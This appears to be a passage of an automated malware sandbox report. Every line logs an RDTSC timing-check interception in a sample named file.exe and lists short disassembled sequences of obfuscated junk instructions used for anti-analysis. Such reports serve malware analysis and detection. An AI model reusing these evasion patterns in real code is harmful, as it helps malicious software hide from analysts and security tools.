Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40C1CD second address: 40C1D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40C1D1 second address: 40C1D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40C1D7 second address: 40C22B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007FBFE93CDB78h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 mov dword ptr [ebp+1244B3ABh], edx 0x0000002b push 00000004h 0x0000002d or dword ptr [ebp+122D2371h], ebx 0x00000033 or edx, dword ptr [ebp+122D1D5Ch] 0x00000039 push 2513FCD1h 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FBFE93CDB80h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40C22B second address: 40C235 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80041 second address: 4B80107 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBFE93CDB83h 0x00000009 or cl, FFFFFF9Eh 0x0000000c jmp 00007FBFE93CDB89h 0x00000011 popfd 0x00000012 push esi 0x00000013 pop edx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 jmp 00007FBFE93CDB7Ah 0x0000001d push eax 0x0000001e pushad 0x0000001f mov si, bx 0x00000022 pushfd 0x00000023 jmp 00007FBFE93CDB7Dh 0x00000028 jmp 00007FBFE93CDB7Bh 0x0000002d popfd 0x0000002e popad 0x0000002f xchg eax, ebp 0x00000030 jmp 00007FBFE93CDB86h 0x00000035 mov ebp, esp 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007FBFE93CDB7Dh 0x00000040 adc si, C196h 0x00000045 jmp 00007FBFE93CDB81h 0x0000004a popfd 0x0000004b pushfd 0x0000004c jmp 00007FBFE93CDB80h 0x00000051 adc cl, FFFFFFB8h 0x00000054 jmp 00007FBFE93CDB7Bh 0x00000059 popfd 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80107 second address: 4B8011F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBFE8B00F04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8011F second address: 4B80137 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80137 second address: 4B8013D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60E77 second address: 4B60E9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBFE93CDB80h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60E9B second address: 4B60EA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB002C second address: 4BB0030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0030 second address: 4BB0036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0036 second address: 4BB008F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBFE93CDB7Ch 0x00000009 add si, 8558h 0x0000000e jmp 00007FBFE93CDB7Bh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FBFE93CDB88h 0x0000001a add ecx, 619D8FB8h 0x00000020 jmp 00007FBFE93CDB7Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 push eax 0x0000002a pushad 0x0000002b movsx ebx, ax 0x0000002e push eax 0x0000002f push edx 0x00000030 mov di, ax 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB008F second address: 4BB00E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00EFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FBFE8B00F00h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 movsx edi, ax 0x00000018 pushfd 0x00000019 jmp 00007FBFE8B00F06h 0x0000001e and si, 2BA8h 0x00000023 jmp 00007FBFE8B00EFBh 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB00E0 second address: 4BB00E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB00E5 second address: 4BB0107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b call 00007FBFE8B00F03h 0x00000010 pop ecx 0x00000011 mov dh, 84h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B400A6 second address: 4B400AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B400AA second address: 4B400B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B400B0 second address: 4B40133 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBFE93CDB82h 0x00000009 jmp 00007FBFE93CDB85h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007FBFE93CDB80h 0x00000015 sbb ax, 4958h 0x0000001a jmp 00007FBFE93CDB7Bh 0x0000001f popfd 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 xchg eax, ebp 0x00000024 pushad 0x00000025 mov edi, eax 0x00000027 pushfd 0x00000028 jmp 00007FBFE93CDB80h 0x0000002d sbb al, FFFFFFB8h 0x00000030 jmp 00007FBFE93CDB7Bh 0x00000035 popfd 0x00000036 popad 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b mov di, si 0x0000003e mov eax, 44B5403Dh 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40133 second address: 4B40139 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40139 second address: 4B4013D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4013D second address: 4B401B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FBFE8B00EFEh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 movzx esi, di 0x00000017 pushfd 0x00000018 jmp 00007FBFE8B00F03h 0x0000001d xor eax, 7007683Eh 0x00000023 jmp 00007FBFE8B00F09h 0x00000028 popfd 0x00000029 popad 0x0000002a push dword ptr [ebp+04h] 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FBFE8B00EFDh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B401B4 second address: 4B401C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBFE93CDB7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B401C4 second address: 4B401EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBFE8B00F00h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B401EC second address: 4B401F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B401F0 second address: 4B401F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4022C second address: 4B40232 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40232 second address: 4B40236 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60BB3 second address: 4B60BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60BB7 second address: 4B60BBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60BBD second address: 4B60BC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60BC3 second address: 4B60BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60BC7 second address: 4B60BCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60720 second address: 4B6073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx esi, dx 0x00000007 popad 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FBFE8B00EFFh 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6073E second address: 4B60754 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBFE93CDB82h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60653 second address: 4B606EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FBFE8B00EFEh 0x0000000f push eax 0x00000010 jmp 00007FBFE8B00EFBh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 mov bl, ch 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FBFE8B00F07h 0x00000020 jmp 00007FBFE8B00F03h 0x00000025 popfd 0x00000026 call 00007FBFE8B00F08h 0x0000002b pop eax 0x0000002c popad 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 jmp 00007FBFE8B00F01h 0x00000035 pop ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 mov dh, ACh 0x0000003b push eax 0x0000003c pop edi 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606EF second address: 4B606FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBFE93CDB7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B603D6 second address: 4B603DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B603DA second address: 4B603EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B701AA second address: 4B701AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0E50 second address: 4BA0E56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0E56 second address: 4BA0EB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FBFE8B00EFBh 0x00000012 xor esi, 6FF39E5Eh 0x00000018 jmp 00007FBFE8B00F09h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007FBFE8B00F00h 0x00000024 add ax, F258h 0x00000029 jmp 00007FBFE8B00EFBh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0EB1 second address: 4BA0F64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBFE93CDB7Fh 0x00000009 add esi, 491DD91Eh 0x0000000f jmp 00007FBFE93CDB89h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FBFE93CDB80h 0x0000001b add ax, B718h 0x00000020 jmp 00007FBFE93CDB7Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 mov dword ptr [esp], ebp 0x0000002c jmp 00007FBFE93CDB86h 0x00000031 mov ebp, esp 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007FBFE93CDB7Eh 0x0000003a jmp 00007FBFE93CDB85h 0x0000003f popfd 0x00000040 push eax 0x00000041 mov ecx, ebx 0x00000043 pop edx 0x00000044 popad 0x00000045 pop ebp 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FBFE93CDB80h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0F64 second address: 4BA0F73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80403 second address: 4B8049E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ecx, 6EBA3123h 0x00000010 push ecx 0x00000011 pushfd 0x00000012 jmp 00007FBFE93CDB7Fh 0x00000017 sbb ax, A64Eh 0x0000001c jmp 00007FBFE93CDB89h 0x00000021 popfd 0x00000022 pop eax 0x00000023 popad 0x00000024 push eax 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007FBFE93CDB7Ch 0x0000002c adc esi, 318232C8h 0x00000032 jmp 00007FBFE93CDB7Bh 0x00000037 popfd 0x00000038 mov edx, ecx 0x0000003a popad 0x0000003b xchg eax, ebp 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f pushfd 0x00000040 jmp 00007FBFE93CDB7Ah 0x00000045 add esi, 3AAEB528h 0x0000004b jmp 00007FBFE93CDB7Bh 0x00000050 popfd 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8049E second address: 4B80544 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FBFE8B00F08h 0x00000008 adc eax, 618BE788h 0x0000000e jmp 00007FBFE8B00EFBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FBFE8B00F04h 0x00000020 jmp 00007FBFE8B00F05h 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007FBFE8B00F00h 0x0000002c adc ch, 00000048h 0x0000002f jmp 00007FBFE8B00EFBh 0x00000034 popfd 0x00000035 popad 0x00000036 mov eax, dword ptr [ebp+08h] 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c pushfd 0x0000003d jmp 00007FBFE8B00EFEh 0x00000042 and ecx, 61379EA8h 0x00000048 jmp 00007FBFE8B00EFBh 0x0000004d popfd 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80544 second address: 4B80593 instructions: 0x00000000 rdtsc 0x00000002 mov si, 919Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 and dword ptr [eax], 00000000h 0x0000000c pushad 0x0000000d jmp 00007FBFE93CDB80h 0x00000012 pushfd 0x00000013 jmp 00007FBFE93CDB82h 0x00000018 adc ecx, 52054C38h 0x0000001e jmp 00007FBFE93CDB7Bh 0x00000023 popfd 0x00000024 popad 0x00000025 and dword ptr [eax+04h], 00000000h 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c mov ecx, 22AFC381h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60604 second address: 4B6060A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6060A second address: 4B6060E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6060E second address: 4B60612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70F36 second address: 4B70F46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBFE93CDB7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70F46 second address: 4B70F6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBFE8B00F05h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80244 second address: 4B80248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80248 second address: 4B8024C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B8024C second address: 4B80252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80252 second address: 4B80261 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBFE8B00EFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80261 second address: 4B80284 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FBFE93CDB82h 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 mov edx, ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80284 second address: 4B802C5 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FBFE8B00F08h 0x00000008 add ax, F8A8h 0x0000000d jmp 00007FBFE8B00EFBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push ecx 0x00000016 mov dl, ABh 0x00000018 pop ecx 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FBFE8B00EFAh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B802C5 second address: 4B802CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B802CB second address: 4B802EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00EFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBFE8B00EFDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B802EE second address: 4B802F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B802F4 second address: 4B802F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA06C2 second address: 4BA0706 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBFE93CDB87h 0x00000009 adc ch, 0000003Eh 0x0000000c jmp 00007FBFE93CDB89h 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0706 second address: 4BA070A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA070A second address: 4BA0710 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0710 second address: 4BA0767 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ax, di 0x0000000e pushfd 0x0000000f jmp 00007FBFE8B00EFDh 0x00000014 and esi, 4BC437D6h 0x0000001a jmp 00007FBFE8B00F01h 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 jmp 00007FBFE8B00EFEh 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0767 second address: 4BA076B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA076B second address: 4BA0788 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0788 second address: 4BA07F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 pushfd 0x00000007 jmp 00007FBFE93CDB88h 0x0000000c sub esi, 53F60AB8h 0x00000012 jmp 00007FBFE93CDB7Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ecx 0x0000001c jmp 00007FBFE93CDB86h 0x00000021 push eax 0x00000022 jmp 00007FBFE93CDB7Bh 0x00000027 xchg eax, ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FBFE93CDB80h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA07F4 second address: 4BA0803 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0803 second address: 4BA083B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FB65FCh] 0x0000000e jmp 00007FBFE93CDB7Eh 0x00000013 test eax, eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA083B second address: 4BA083F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA083F second address: 4BA0845 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0845 second address: 4BA084A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA084A second address: 4BA0890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FBFE93CDB80h 0x0000000a sbb cx, FB68h 0x0000000f jmp 00007FBFE93CDB7Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 je 00007FC05B760C69h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FBFE93CDB85h 0x00000025 rdtsc
